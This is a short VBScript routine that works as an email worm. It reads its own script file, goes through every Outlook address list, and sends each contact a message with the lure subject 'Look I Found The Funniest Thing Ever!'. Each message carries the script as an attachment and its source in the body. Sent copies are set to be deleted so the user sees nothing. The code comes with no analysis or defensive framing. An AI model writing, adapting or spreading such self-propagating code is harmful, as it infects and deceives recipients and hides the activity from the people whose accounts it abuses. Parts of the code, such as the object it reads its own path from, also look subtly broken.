Sub MailAllAddresses()
dim OutLookApp,OutLookNameSpace,OutLookAdressList,NoClue,Mail,MailTo,FSO,File,FileCopy
dim MaxEnteries
dim Path
On Error Resume Next
set Regedit=CreateObject("WScript.Shell")
Set OutLookApp = CreateObject("Outlook.Application")
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    path = regedit.scriptfullname
    filecopy = file.readall
    file.close
    If OutLookApp = "Outlook" Then
        Set OutLookNameSpace = OutLookApp.GetNameSpace("MAPI")
        Set OutLookAdressList = OutLookNameSpace.AddressLists
        For Each NoClue In OutLookAdressList
            If NoClue.AddressEntries.Count <> 0 Then
                MaxEnteries = NoClue.AddressEntries.Count
                For I = 1 To MaxEnteries
                    Set Mail = OutLookApp.CreateItem(0)
                    Set MailTo = NoClue.AddressEntries(I)
                    Mail.To = MailTo.Address
                    Mail.Subject = "Look I Found The Funniest Thing Ever!"
                    Mail.Body =  filecopy & vbcrlf & ""
		    Mail.Attachments.Add(path)
                    Mail.DeleteAfterSubmit = True
                    If Mail.To <> "" Then Mail.Send
                Next
            End If
        Next
    End If
End Sub